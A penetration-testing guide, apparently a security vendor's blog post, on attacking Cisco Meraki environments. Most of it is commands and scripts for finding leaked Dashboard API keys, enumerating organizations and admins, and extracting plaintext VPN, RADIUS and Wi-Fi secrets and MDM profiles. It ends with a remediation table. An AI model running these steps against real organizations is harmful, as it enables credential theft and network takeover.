Cisco Meraki Security Testing: Dashboard API Key, SD-WAN Enumeration, and Cloud-Managed Network Credential Abuse

Cisco Meraki is the dominant cloud-managed networking platform in the SMB and mid-market, with millions of MX security appliances, MS switches, MR access points, and MV cameras managed through a single cloud dashboard. This unique architecture means a single API key can provide visibility and control over an entire organization's network infrastructure. This guide covers authorized penetration testing of Meraki environments: Dashboard API key extraction, organization enumeration, client VPN credential harvesting, Systems Manager MDM exploitation, and network topology mapping through the Meraki cloud API.

⚠ Authorized testing only. Meraki Dashboard API access touches production network infrastructure and managed devices across an entire organization. All testing requires explicit written authorization. API operations that modify network config or push MDM commands are likely out of scope for most assessments.

Contents

  1. Meraki Architecture and Attack Model
  2. Dashboard API Key Discovery
  3. Organization and Network Enumeration via API
  4. MX Security Appliance Testing
  5. Client VPN Credential Harvesting
  6. Systems Manager MDM Exploitation
  7. Wireless (MR) Security Testing
  8. MS Switch VLAN and 802.1X Testing
  9. Network Topology Mapping
  10. Remediation Checklist

Meraki Architecture and Attack Model

Meraki's cloud-managed model creates a fundamentally different attack surface compared to traditional on-premises network equipment:

Reconnaissance

# Identify Meraki devices on a network
nmap -sV -p 443,7351 192.168.1.0/24  # 7351 is Meraki auto-VPN

# Meraki device MAC address prefix identification
# Meraki MAC prefixes: 0C:8D:DB, E0:55:3D, 00:18:0A, B4:A9:4F, 88:15:44, 34:56:FE
arp-scan 192.168.1.0/24 | grep -iE "00:18:0a|b4:a9:4f|88:15:44|34:56:fe|0c:8d:db|e0:55:3d"

# Meraki systems phone home to n[number].meraki.com for management
# Identify Meraki cloud management domain from DNS queries
tcpdump -i eth0 -n 'port 53' | grep -i "meraki\|cisco"

# The Meraki Dashboard URL often reveals org/network structure
# Example: https://n180.meraki.com/#!/login (n-number = shard)
# Admin logins redirect to shard-specific URL

# If you have access to a corporate workstation — search for cached API keys
find /home /Users /root -name ".meraki" -o -name "meraki.conf" 2>/dev/null
grep -r "meraki" ~/.bash_history ~/.zsh_history 2>/dev/null
env | grep -i "MERAKI\|API_KEY"

Dashboard API Key Discovery

Meraki Dashboard API keys are 40-character hexadecimal strings. They appear in source code, CI/CD configurations, environment variables, and developer tooling. The blast radius of a leaked API key is enormous — it grants full administrative access to all networks in the organization.

Common Leak Sources

# Search GitHub/GitLab for exposed Meraki API keys
# GitHub dorking
site:github.com "meraki" "X-Cisco-Meraki-API-Key"
site:github.com "meraki_api_key"
site:github.com filename:.env "MERAKI"

# GitLeaks / TruffleHog scan for Meraki API keys in repos
gitleaks detect --source . --config meraki-gitleaks.toml

# Custom regex for Meraki API keys (40 hex chars in context)
grep -rE "(meraki|MERAKI)[^=]*=\s*['\"]?[0-9a-f]{40}['\"]?" . 2>/dev/null
grep -rE "X-Cisco-Meraki-API-Key[^=]*:\s*[0-9a-f]{40}" . 2>/dev/null

# AWS S3 / Secrets Manager scan for exposed Meraki keys
aws s3api list-buckets --query 'Buckets[].Name' --output text | while read bucket; do
  aws s3 ls "s3://$bucket" --recursive 2>/dev/null | grep -i "meraki\|network"
done

# Check common locations on a compromised developer workstation
cat ~/.config/meraki/credentials
cat ~/meraki_api_key.txt
grep -r "meraki" ~/Documents ~/Desktop 2>/dev/null | grep -i "key\|token\|api"

# Ansible/Terraform/Chef/Puppet configurations
find / -name "*.yml" -o -name "*.yaml" -o -name "*.tf" 2>/dev/null | xargs grep -l "meraki" 2>/dev/null

Validate a Discovered API Key

# Validate a Meraki API key — check if it works and get org info
API_KEY="your-40-char-hex-key-here"

curl -s "https://api.meraki.com/api/v1/organizations" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" \
  -H "Accept: application/json" | python3 -m json.tool

# Successful response includes org name, ID, tier, and license information
# Example: {"id": "123456", "name": "Acme Corp", "url": "https://n180.meraki.com/..."}

Organization and Network Enumeration via API

API_KEY="your-api-key"
ORG_ID="your-org-id"

# Full organization inventory
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# List all networks in the organization
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/networks" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
networks = json.load(sys.stdin)
for n in networks:
    print(f'{n[\"id\"]}: {n[\"name\"]} ({n[\"productTypes\"]})')
"

# List all devices across all networks
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/devices" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
devices = json.load(sys.stdin)
for d in devices:
    print(f'{d[\"model\"]} | {d[\"name\"]} | {d[\"lanIp\"]} | {d[\"serial\"]}')
"

# List all admin users and their access levels
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/admins" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
admins = json.load(sys.stdin)
for a in admins:
    print(f'{a[\"email\"]} | {a[\"name\"]} | OrgAccess: {a[\"orgAccess\"]}')
"

# Get license status — reveals organization size and product mix
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/licenses/overview" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

SAML and Identity Provider Configuration

# Organizations may use SAML SSO — check IdP configuration
# If SAML is misconfigured, it may allow IdP bypass

curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/saml" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# SAML roles — defines what groups/roles in the IdP get what Meraki access
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/samlRoles" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

MX Security Appliance Testing

Firewall Rules and Content Filtering

NET_ID="your-network-id"

# Get MX firewall rules — reveals allowed traffic paths
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/firewall/l3FirewallRules" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# L7 (application-level) firewall rules
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/firewall/l7FirewallRules" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# Content filtering categories — identify gaps in content policy
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/contentFiltering" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# VLANs and subnets — critical for network topology understanding
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vlans" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
vlans = json.load(sys.stdin)
for v in vlans:
    print(f'VLAN {v[\"id\"]}: {v[\"name\"]} - {v[\"subnet\"]} (GW: {v[\"applianceIp\"]})')
"

# DHCP reservations — maps hostnames/MACs to IPs
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vlans" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
vlans = json.load(sys.stdin)
for v in vlans:
    for r in v.get('reservedIpRanges', []):
        print(f'{r[\"start\"]} - {r[\"end\"]}: {r.get(\"comment\",\"\")}')
    for fixed in v.get('fixedIpAssignments', {}).items():
        print(f'MAC {fixed[0]}: IP {fixed[1][\"ip\"]} ({fixed[1].get(\"name\",\"\")})')
"

Client VPN Credential Harvesting

Meraki MX appliances provide Client VPN via L2TP/IPsec or Cisco AnyConnect. VPN credentials and PSKs are accessible via the Dashboard API.

# Get Client VPN configuration including PSK
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/siteToSiteVpn" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# Client VPN settings — includes pre-shared key for L2TP
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/clientVpn" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
data = json.load(sys.stdin)
print('PSK:', data.get('secret', 'N/A'))
print('Auth:', data.get('authenticationMode', 'N/A'))
print('RADIUS servers:', data.get('radiusServers', []))
"

# Note: The L2TP PSK is returned in plaintext via the API
# This PSK authenticates ALL VPN connections to this network
# Any user with the PSK + valid AD credentials can connect

# RADIUS server configuration (including shared secret)
# RADIUS secrets are sometimes returned via the API in orgs with weaker ACLs
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/clientVpn" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
data = json.load(sys.stdin)
for r in data.get('radiusServers', []):
    print(f'RADIUS: {r[\"host\"]}:{r[\"port\"]} - Secret: {r.get(\"secret\", \"[hidden]\")}')
"

# Site-to-site VPN hubs and spokes — reveals connected branch offices
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/siteToSiteVpn" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

Systems Manager (MDM) Exploitation

Meraki Systems Manager is a Mobile Device Management (MDM) platform. If the organization uses Systems Manager, the API provides access to all enrolled devices, installed applications, network profiles, and the ability to send commands to devices.

# List all enrolled devices in Systems Manager
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
devices = json.load(sys.stdin)
for d in devices:
    print(f'{d.get(\"name\",\"?\")} | {d.get(\"osName\",\"?\")} | {d.get(\"ip\",\"?\")} | User: {d.get(\"username\",\"?\")}')
"

# Get device details — includes installed apps, network profiles, certificates
DEVICE_ID="device-serial-or-id"
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices/$DEVICE_ID/deviceProfiles" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# List installed applications on a device
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices/$DEVICE_ID/installedApps" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
apps = json.load(sys.stdin)
for a in apps:
    print(f'{a.get(\"name\",\"?\")} v{a.get(\"version\",\"?\")} - {a.get(\"bundleSize\",0)} bytes')
"

# Network profiles pushed to devices — may contain Wi-Fi PSKs, VPN configs, certificates
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices/$DEVICE_ID/networkAdapters" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# Wi-Fi credentials in MDM profiles — PSKs pushed to corporate devices
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/profiles" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
profiles = json.load(sys.stdin)
for p in profiles:
    print(f'{p.get(\"name\",\"?\")} | Type: {p.get(\"profileType\",\"?\")} | Devices: {p.get(\"deviceCount\",0)}')
"

Wireless (MR) Security Testing

# Get all SSIDs for a network — includes PSKs for WPA2-Personal networks
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/wireless/ssids" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
ssids = json.load(sys.stdin)
for s in ssids:
    if s.get('enabled'):
        psk = s.get('psk', '[enterprise auth]')
        print(f'SSID {s[\"number\"]}: {s[\"name\"]} | Auth: {s[\"authMode\"]} | PSK: {psk}')
"

# Rogue AP detection — see what unknown APs are detected
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/wireless/airMarshal" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool

# Client list — all connected Wi-Fi clients with MAC, IP, VLAN
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/clients" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
clients = json.load(sys.stdin)
for c in clients:
    print(f'{c.get(\"description\",\"?\")} | {c.get(\"ip\",\"?\")} | MAC: {c.get(\"mac\",\"?\")} | VLAN: {c.get(\"vlan\",\"?\")}')
"

MS Switch VLAN and 802.1X Testing

# Get switch port configurations — check for 802.1X status
curl -s "https://api.meraki.com/api/v1/devices/$DEVICE_SERIAL/switch/ports" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
ports = json.load(sys.stdin)
for p in ports:
    dot1x = p.get('accessPolicyType', 'none')
    print(f'Port {p[\"portId\"]}: VLAN {p.get(\"vlan\",\"?\")} | 802.1X: {dot1x} | PoE: {p.get(\"poeEnabled\",False)}')
"

# 802.1X access policy configuration — RADIUS server settings
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/switch/accessPolicies" \
  -H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
policies = json.load(sys.stdin)
for p in policies:
    print(f'Policy {p[\"accessPolicyNumber\"]}: {p[\"name\"]}')
    for r in p.get('radiusServers', []):
        print(f'  RADIUS: {r[\"host\"]}:{r[\"port\"]} secret:{r.get(\"secret\",\"[hidden]\")}')
"

Network Topology Mapping

# Complete network topology from Meraki API
# This provides a full map of the organization's network infrastructure

python3 << 'EOF'
import requests, json

API_KEY = "your-api-key"
HEADERS = {"X-Cisco-Meraki-API-Key": API_KEY, "Accept": "application/json"}

# Get all organizations
orgs = requests.get("https://api.meraki.com/api/v1/organizations", headers=HEADERS).json()

for org in orgs:
    print(f"\n=== Organization: {org['name']} ({org['id']}) ===")

    # Networks
    networks = requests.get(f"https://api.meraki.com/api/v1/organizations/{org['id']}/networks", headers=HEADERS).json()
    print(f"  Networks: {len(networks)}")

    # All devices
    devices = requests.get(f"https://api.meraki.com/api/v1/organizations/{org['id']}/devices", headers=HEADERS).json()

    device_types = {}
    for d in devices:
        model = d['model'][:2]  # MX, MS, MR, MV, MT, etc.
        device_types[model] = device_types.get(model, 0) + 1

    print(f"  Devices: {device_types}")

    # Uplinks status — reveals public IP addresses
    uplinks = requests.get(f"https://api.meraki.com/api/v1/organizations/{org['id']}/appliance/uplink/statuses", headers=HEADERS).json()
    for u in uplinks:
        for ul in u.get('uplinks', []):
            if ul.get('publicIp'):
                print(f"  Public IP: {ul['publicIp']} ({u.get('networkId','')})")

EOF

Remediation Checklist

FindingRemediationPriority
API key exposed in code/envRevoke immediately; rotate; use per-application scoped API keys; store in secrets managerCritical
Single shared API keyCreate separate API keys per integration; use read-only keys where write access isn't neededHigh
No MFA on Dashboard accountsEnforce MFA for all Dashboard admin accounts; use SAML SSO with MFACritical
Client VPN PSK disclosed via APIUse RADIUS/AD authentication instead of PSK; rotate PSK regularlyHigh
Wi-Fi PSK in MDM profilesUse WPA2-Enterprise (802.1X) instead of PSK networks; individual device certificatesHigh
RADIUS secrets accessible via APIRestrict API key scope; review what API keys have access to VPN/RADIUS configurationHigh
Unrestricted API accessEnable API IP allowlisting; restrict to specific source IPs onlyHigh
No Dashboard audit loggingEnable and review Dashboard audit logs; alert on API key usage from new IPsMedium
Overprivileged admin accountsUse network-scoped admins rather than org-wide; principle of least privilegeMedium
MDM profile contains credentialsReplace PSK-based profiles with certificate-based EAP-TLS; use SCEP for cert enrollmentHigh
API key scope matters: Meraki API keys are all-or-nothing — there's no built-in granular scope control within an organization (unlike AWS IAM). A leaked API key with org-admin access can read PSKs, VPN secrets, RADIUS configurations, and MDM profiles across your entire organization. Treat Meraki API keys with the same sensitivity as domain admin credentials.

Automate Cisco Meraki Security Assessments

Ironimo's scanning platform helps identify API key exposures, misconfigured network policies, and credential risks in cloud-managed network environments — giving you a complete picture of your Meraki attack surface before an attacker exploits it.

Start free scan